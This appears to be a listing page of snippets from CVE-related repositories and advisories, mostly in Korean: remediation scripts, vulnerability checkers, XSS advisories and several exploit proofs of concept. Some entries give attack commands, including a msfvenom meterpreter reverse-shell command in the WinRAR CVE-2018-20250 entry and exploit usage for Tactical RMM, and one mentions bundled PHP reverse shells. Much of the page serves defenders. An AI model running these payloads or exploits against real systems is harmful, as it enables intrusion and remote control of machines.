CVE-2013-3900-Remediation-Script

CVE-2013-3900 수정 스크립트 32비트 및 64비트 구성에 대한 레지스트리 경로 정의 $regPaths = @ "HKLM:\Software\Microsoft\Cryptography\Wintrust\Config", "HKLM:\Software\Wow6432Node\Microsoft\Cryptography\Wintrust\Config" 레지스트리 키를 추가하거나 업데이트하는 함수 function Set-EnableCertPaddingCheck param string$path if !Test-Path $path New-It...

CVE-2025-64392

This vulnerability in Veeam Backup Enterprise Manager allows an attacker to execute script in the browser of a portal user who opens a crafted link...

EUVD-2026-94254

Improper Neutralization of Input During Web Page Generation 'Cross-site Scripting' vulnerability in BdThemes Prime Slider – Addons For Elementor bdthemes-prime-slider-lite allows Stored XSS.This issue affects Prime Slider – Addons For Elementor: from n/a through 4.6.2...

CVE-2018-20250

설정 Video demo: https://youtu.be/5tuWsi1tGS0 VirtualBox Machine: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit 진행 단계 Kali: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows: git clone...

CVE-2023-36884-Checker

CVE-2023-36884-Checker CVE-2023-36884 のハードニングを確認するスクリプト https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36884 目的 このスクリプトは、Microsoft のハードニング推奨事項が正しく適用されているかどうかを確認します。 Microsoft は https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36884 で次のように述べています: Add the following...

CVE-2021-34470scanner

should be exactly that. CVE-2021-34470scanner CVE-2021-34470을 스캔하는 Powrshell 스크립트...

CVE-2025-64392

CVE-2025-64392 is a reflected cross-site scripting (XSS) vulnerability in Veeam Backup Enterprise Manager . It allows an attacker to execute scripts in the browser of an authenticated portal user who opens a crafted link. This flaw affects Veeam Backup Enterprise Manager (Veeam Backup & Replicati...

EUVD-2025-211040

This vulnerability in Veeam Backup Enterprise Manager allows an attacker to execute script in the browser of a portal user who opens a crafted link...

CVE-2025-64392

This vulnerability in Veeam Backup Enterprise Manager allows an attacker to execute script in the browser of a portal user who opens a crafted link...

CVE-2025-64392

This vulnerability in Veeam Backup Enterprise Manager allows an attacker to execute script in the browser of a portal user who opens a crafted link...

CVE-2025-69516

CVE-2025-69516 - Tactical RMM 원격 코드 실행 이 저장소는 Tactical RMM의 CVE-2025-69516 SSTI 취약점 악용을 자동화하는 Python 스크립트를 포함합니다. 버전 1.3.1에서 테스트되었습니다. 사용법 python xpl.py -d api.tactical.xyz -t SESSIONTOKEN -c "id" 링크 https://vulners.com/cve/CVE-2025-69516...

CVE-2025-57310

CVE-2025-57310 Salmen2/Simple-Faucet-Script v1.07에서 admin.php?p=ads&c=1로 조작된 POST 요청을 통해 발생하는 교차 사이트 요청 위조CSRF 취약점으로, 공격자가 임의 코드를 실행할 수 있습니다. CWE CWE-352: 교차 사이트 요청 위조CSRF CVSS v3.1 기본 점수: 8.8 높음 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H 요약 이 제품은 관리자 패널에서 교차 사이트 요청 위조CSRF에 취약합니다. 인증된 관리자가 PoC가...

CVE-2021-21985-Checker

CVE-2021-21985 체커. @alt3kx nmap 스크립트의 간단한 Powershell 구현. 사용법 .\CVE-2021-21985.ps1 vcenter.hostname.com 출력 TARGET VULNERABLE 또는 TARGET NOT VULNERABLE...

MySQL-Fu.rb

MySQL-Fu.rb MySQL-Fu는 제가 작성한 Ruby 기반 MySQL 클라이언트 스크립트입니다. 일반 MySQL 클라이언트가 수행하는 대부분의 작업을 수행합니다: SQL 셸, 데이터베이스/테이블 업데이트/삭제/드롭, 사용자 추가/삭제, gzip 옵션을 포함한 데이터베이스/테이블 덤프...... 또한 침투 테스트를 조금 더 쉽게 해주는 몇 가지 추가 옵션이 있습니다. 여러 내장 PHP 명령 셸 옵션과 Pentestmonkey의 PHP 리버스 셸, 파일 쓰기 및 읽기를 위한 여러 옵션읽은 모든 파일은 나중에 오프라인 분석을...

cve-2020-1472

ZeroLogon 테스트 스크립트 Impacket 라이브러리를 사용하여 Zerologon 익스플로잇CVE-2020-1472의 취약점을 테스트하는 Python 스크립트입니다. Netlogon 인증 우회를 수행하려고 시도합니다. 스크립트는 우회에 성공하면 즉시 종료되며, 어떤 Netlogon 작업도 수행하지 않습니다. 도메인 컨트롤러에 패치가 적용된 경우, 탐지 스크립트는 2000쌍의 RPC 호출을 전송한 후 포기하고 대상이 취약하지 않다고 결론을 내립니다 위음성 확률 0.04%. 설치 Python 3.7 이상과 Pip이 필요합니...

CVE-2022-46169

CVE-2022-46169 POC Cacti의 CVE-2022-46169버전 =1.2.22를 악용하기 위한 개념 증명/CTF 스크립트입니다. 이 스크립트는 CTF 챌린지를 해결하기 위해 작성되었습니다. 다음 예제 스크립트를 기반으로 했습니다. 이 스크립트들이 실제로 무엇을 하는지 이해하기 어려워서, 제 나름대로 해석하여 다시 작성했고, 이를 통해 익스플로잇이 어떻게 작동하는지 이해할 수 있었습니다...

msxml4-remediation

MSXML 4.0 Remediation PowerShell Microsoft XML Core Services MSXML 4.0 와 관련된 보안 결과를 수정하는 PowerShell 스크립트입니다. MSXML 4.0은 지원이 종료되었으며 취약점 스캐너에서 흔히 플래그됩니다. 이 스크립트는 MSXML 4의 .dll 파일을 등록 해제하고 이름을 변경합니다. 이렇게 하면 취약점이 수정되어 더 이상 Qualys 스캔에 나타나지 않습니다. 배경 MSXML 4.0은 EOL지원 종료 상태이며 현재는 주로 MSXML 6을 사용합니다. 이 스크립...

React2Shell-Vulnerability-Verification-Script

React2Shell 취약점 검증 스크립트 verifyreactvulnerability.py 이 스크립트는 무엇인가요? 이 스크립트는 프로젝트가 심각한 React2Shell 취약점 CVE-2025-55182의 영향을 받는지 여부를 빠르게 확인할 수 있도록 도와주는 간단한 독립형 Python 스크립트입니다. 두 단계로 검사를 수행합니다: 1. 의존성 검사 : package.json 파일에서 알려진 취약한 버전의 React 및 Next.js를 검사합니다. 2. 포괄적 코드베이스 스캔 선택 사항 : 의존성 검사가 통과되면 소스 코드...

CVE-2021-26084-patch-

CVE-2021-26084 패치 CVE-2021-26084 패치는 "Confluence Security Advisory - 2021-08-25"에서 제공되었습니다. 이는 리눅스 기반 서버를 위한 임시 해결책이며, Atlassian에서 새로운 수정 버전을 제공했습니다. 업그레이드하고 싶지 않다면 그냥 패치하세요! 설치 cve-2021-26084-update 파일을 다운로드하고, 디렉토리 관리자로 실행해야 합니다. 패치 코드에서 다음 변수를 설정하세요. INSTALLATIONDIRECTORY=...

CVE-2011-2523

CVE-2011-2523 usage: CVE-2011-2523.py -h -v RHOST RPORT vsFTPd 2.3.4 CVE-2011-2523 PoC. Reference: https://nvd.nist.gov/vuln/detail/CVE-2011-2523 positional arguments: RHOST target address RPORT target port optional arguments: -h, --help show this help message and exit -v, --version show program'...